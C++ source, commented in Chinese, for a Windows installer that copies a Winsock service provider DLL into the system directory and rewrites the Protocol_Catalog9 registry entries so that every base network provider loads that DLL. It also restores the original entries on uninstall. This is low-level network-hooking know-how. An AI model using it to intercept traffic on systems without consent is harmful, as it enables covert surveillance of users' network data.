//以下是安装类
/*InsPkgCls.h*/
#include <tchar.h>
#include <stdio.h>
#include <winsock2.h>
#define MY_DLL_NAME _T("spidll.dll")
#define MY_DLL_PATH _T("//spidll.dll")
#define MY_VAR_PATH _T("//myvar.dat")
#define REG_INSTALL_KEY _T("SYSTEM//CurrentControlSet//Services//WinSock2//MySpi")
#define REG_INSTALL_PATH_ITEM _T("PathName")
#define REG_PROTOCOL_CATALOG_KEY _T("SYSTEM//CurrentControlSet//Services//WinSock2//Parameters//Protocol_Catalog9//Catalog_Entries")
#define REG_PROTOCOL_CATALOG_ITEM _T("PackedCatalogItem")
#define MAX_PROTOCOL_CATALOG_LENTH sizeof(WSAPROTOCOL_INFOW) + MAX_PATH
#define DLLPKG_SUCCESS 1
#define DLLPKG_NOT_SUPPORT -800
#define DLLPKG_NOT_INSTALL -801
#define DLLPKG_ALREADY_INSTALL -802
#define DLLPKG_OPEN_REG_FAILED -803
#define DLLPKG_SAVE_PATH_FAILED -804
#define DLLPKG_READ_VALUE_FAILED -805
#define DLLPKG_CREATE_ITEM_FAILED -806
#define DLLPKG_SET_VALUE_FAILED -807
#define DLLPKG_REG_DELETE_FAILED -808
class CInstallPkg
{
private:
BOOL IsInstalled(TCHAR *sInstallPath = NULL);
int SaveConfig(BOOL bIsRemove);
int SaveEnumKey(HKEY hkey, LPCTSTR sSubKey, BOOL bIsRemove = FALSE);
public:
int Install(TCHAR *sInstallPath = NULL);
int UnInstall();
BOOL IsSupport();
BOOL ReadReg(
TCHAR *sKey,
BYTE *pBuffer,
DWORD dwBufSize,
HKEY hkey = HKEY_LOCAL_MACHINE,
TCHAR *sSubKey = REG_INSTALL_KEY,
DWORD ulType = REG_BINARY
);
BOOL SaveReg(
TCHAR *sKey,
BYTE *pBuffer,
DWORD dwBufSize,
HKEY hkey = HKEY_LOCAL_MACHINE,
TCHAR *sSubKey = REG_INSTALL_KEY,
DWORD ulType = REG_BINARY
);
BOOL DeleteReg(
HKEY hkey = HKEY_LOCAL_MACHINE,
TCHAR *sSubKey = REG_INSTALL_KEY,
TCHAR *sItem = NULL
);
public:
TCHAR m_sInstallPath[MAX_PATH];
};
/*InsPkgCls.cpp*/
#include "InsPkgCls.h"
#include <iostream>
using namespace std;
int CInstallPkg::Install(TCHAR *sInstallPath)
{
//if(!IsSupport())
//return DLLPKG_NOT_SUPPORT;
if (IsInstalled(sInstallPath))
return DLLPKG_ALREADY_INSTALL;
_tcscpy(m_sInstallPath, sInstallPath);
int iRet;
if((iRet = SaveConfig(FALSE)) != DLLPKG_SUCCESS)
return iRet;
if(!SaveReg(
REG_INSTALL_PATH_ITEM,
(BYTE*)sInstallPath,
_tcslen(sInstallPath),
HKEY_LOCAL_MACHINE,
REG_INSTALL_KEY,
REG_SZ
)
)
return DLLPKG_SAVE_PATH_FAILED;
return DLLPKG_SUCCESS;
}
int CInstallPkg::UnInstall()
{
int iRet = DLLPKG_SUCCESS;
if(!IsInstalled())
return DLLPKG_NOT_INSTALL;
if((iRet = SaveConfig(TRUE)) != DLLPKG_SUCCESS)
return iRet;
if(!DeleteReg())
return DLLPKG_REG_DELETE_FAILED;
return DLLPKG_SUCCESS;
}
BOOL CInstallPkg::IsSupport()
{
WORD wVersionRequested = MAKEWORD(2, 0);
WSADATA wsaData;
if(WSAStartup(wVersionRequested, &wsaData) != 0)
return FALSE;
if (LOBYTE(wsaData.wVersion) != 2)
{
WSACleanup();
return FALSE;
}
return TRUE;
}
BOOL CInstallPkg::IsInstalled(TCHAR *sInstallPath)
{
TCHAR tsPathName[MAX_PATH];
if( ReadReg(REG_INSTALL_PATH_ITEM,
(BYTE*)tsPathName,
MAX_PATH,
HKEY_LOCAL_MACHINE,
REG_INSTALL_KEY, REG_SZ
)
)
{
if(sInstallPath != NULL)
_tcscpy(sInstallPath, tsPathName);
return TRUE;
}
return FALSE;
}
int CInstallPkg::SaveConfig(BOOL bIsRemove)
{
HKEY hkey = NULL;
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, REG_PROTOCOL_CATALOG_KEY, 0, KEY_READ, &hkey) != ERROR_SUCCESS)
return DLLPKG_OPEN_REG_FAILED;
__try
{
TCHAR sSubKey[MAX_PATH];
DWORD dwIndex = 0;
int iRet = 0;
while(RegEnumKey(hkey, dwIndex, sSubKey, MAX_PATH) == ERROR_SUCCESS)
{
if((iRet = SaveEnumKey(hkey, sSubKey, bIsRemove)) != DLLPKG_SUCCESS)
return iRet;
dwIndex ++;
}
}
__finally
{
RegCloseKey(hkey);
}
return DLLPKG_SUCCESS;
}
int CInstallPkg::SaveEnumKey(HKEY hkey, LPCTSTR sSubKey, BOOL bIsRemove)
{
HKEY hSubKey = NULL;
BYTE ItemValue [MAX_PROTOCOL_CATALOG_LENTH];
DWORD ItemSize = MAX_PROTOCOL_CATALOG_LENTH;
if(RegOpenKeyEx(hkey, sSubKey, 0, KEY_ALL_ACCESS, &hSubKey) != ERROR_SUCCESS)
return DLLPKG_OPEN_REG_FAILED;
__try
{
if(RegQueryValueEx(hSubKey, REG_PROTOCOL_CATALOG_ITEM, 0, NULL, ItemValue, &ItemSize) != ERROR_SUCCESS
|| (ItemSize != MAX_PROTOCOL_CATALOG_LENTH))
return DLLPKG_READ_VALUE_FAILED;
WSAPROTOCOL_INFOW *mProtocolInfo = (WSAPROTOCOL_INFOW *)(ItemValue + MAX_PATH);
if(mProtocolInfo->ProtocolChain.ChainLen == 1)
{
TCHAR sItem[21];
_stprintf(sItem, _T("%u"), mProtocolInfo->dwCatalogEntryId);
if(!bIsRemove)
{
if(!SaveReg(
sItem,
ItemValue,
_tcslen((TCHAR*)ItemValue),
HKEY_LOCAL_MACHINE,
REG_INSTALL_KEY,
REG_SZ
)
)
return DLLPKG_CREATE_ITEM_FAILED;
_tcscpy((TCHAR*)ItemValue, m_sInstallPath);
if(RegSetValueEx(hSubKey, REG_PROTOCOL_CATALOG_ITEM, 0, REG_BINARY, ItemValue, ItemSize) != ERROR_SUCCESS)
return DLLPKG_SET_VALUE_FAILED;
}
else
{
TCHAR sProvider[MAX_PATH];
int iRet = ReadReg(
sItem,
(BYTE*)sProvider,
MAX_PATH,
HKEY_LOCAL_MACHINE,
REG_INSTALL_KEY, REG_SZ
);
_tcscpy((TCHAR*)ItemValue, sProvider);
iRet = RegSetValueEx(hSubKey, REG_PROTOCOL_CATALOG_ITEM, 0, REG_BINARY, ItemValue, ItemSize);
}
}
}
__finally
{
RegCloseKey(hSubKey);
}
return DLLPKG_SUCCESS;
}
BOOL CInstallPkg::ReadReg(
TCHAR *sKey,
BYTE *pBuffer,
DWORD dwBufSize,
HKEY hkey,
TCHAR *sSubKey,
DWORD ulType
)
{
HKEY hSubkey;
if(RegOpenKeyEx(hkey, sSubKey, 0, KEY_ALL_ACCESS, &hSubkey) != ERROR_SUCCESS)
return FALSE;
__try
{
DWORD dwType;
if (RegQueryValueEx(hSubkey, sKey, 0, &dwType, pBuffer, &dwBufSize) == ERROR_SUCCESS
&& dwType == ulType)
return TRUE;
}
__finally
{
RegCloseKey(hSubkey);
}
return FALSE;
}
BOOL CInstallPkg::SaveReg(
TCHAR *sKey,
BYTE *pBuffer,
DWORD dwBufSize,
HKEY hkey,
TCHAR *sSubKey,
DWORD ulType
)
{
HKEY hSubkey;
DWORD dwDisposition;
if (RegCreateKeyEx(hkey, sSubKey, 0, NULL, REG_OPTION_NON_VOLATILE
, KEY_ALL_ACCESS, NULL, &hSubkey, &dwDisposition) != ERROR_SUCCESS)
return FALSE;
if (RegSetValueEx(hSubkey, sKey, 0, ulType, pBuffer, dwBufSize) != ERROR_SUCCESS)
{
RegCloseKey(hSubkey);
return FALSE;
}
RegCloseKey(hSubkey);
return TRUE;
}
BOOL CInstallPkg::DeleteReg(
HKEY hkey,
TCHAR *sSubKey,
TCHAR *sItem
)
{
if(hkey == NULL || sSubKey == NULL)
return FALSE;
if(sItem == NULL)
{
if(RegDeleteKey(hkey,sSubKey) == ERROR_SUCCESS)
return TRUE;
else
return FALSE;
}
HKEY hSubKey;
if(RegOpenKeyEx(hkey, sSubKey, 0, KEY_ALL_ACCESS, &hSubKey) != ERROR_SUCCESS)
return FALSE;
__try
{
if(RegDeleteValue(hSubKey, sItem) == ERROR_SUCCESS)
return TRUE;
}
__finally
{
RegCloseKey(hSubKey);
}
return FALSE;
}
//----------------------------------------------------------------------------
//___________________________________________________//
//以下是安装代码
/*main.cpp*/
#include <ws2spi.h>
#include <windows.h>
#include <stdio.h>
#include "InsPkgCls.h"
#pragma comment(lib, "ws2_32.lib")
typedef HANDLE(WINAPI *STOP)();
void GetPath(OUT TCHAR *sPath)
{
TCHAR sFilename[MAX_PATH];
TCHAR sDrive[_MAX_DRIVE];
TCHAR sDir[_MAX_DIR];
TCHAR sFname[_MAX_FNAME];
TCHAR sExt[_MAX_EXT];
GetModuleFileName(NULL, sFilename, _MAX_PATH);
_tsplitpath(sFilename, sDrive, sDir, sFname, sExt);
_tcscpy(sPath, sDrive);
_tcscat(sPath, sDir);
if(sPath[_tcslen(sPath) - 1] != _T('//'))
_tcscat(sPath, _T("//"));
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstanve, LPSTR lpCmdLine, int nCmdShow)
{
CInstallPkg m_Install;
TCHAR sProvider[MAX_PATH];
TCHAR SysDll[MAX_PATH];
TCHAR SysVar[MAX_PATH];
TCHAR sysdir[MAX_PATH];
GetPath(sProvider);
_tcscat(sProvider, MY_DLL_NAME);
GetSystemDirectory(SysDll, 256);
_tcscpy(sysdir, SysDll);
_tcscat(SysDll, MY_DLL_PATH);
CopyFile(sProvider, SysDll, FALSE);
_tcscat(sysdir, MY_VAR_PATH);
if(strlen(lpCmdLine) < 5)
{
if(SetFileAttributes(sysdir, FILE_ATTRIBUTE_SYSTEM))
{
return 0;
}
CreateFile(sysdir, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
m_Install.Install(SysDll);
MessageBox(NULL, "安装成功经", "提示", MB_OK);
}
else
{
m_Install.UnInstall();
DeleteFile(sysdir);
}
return 0;
}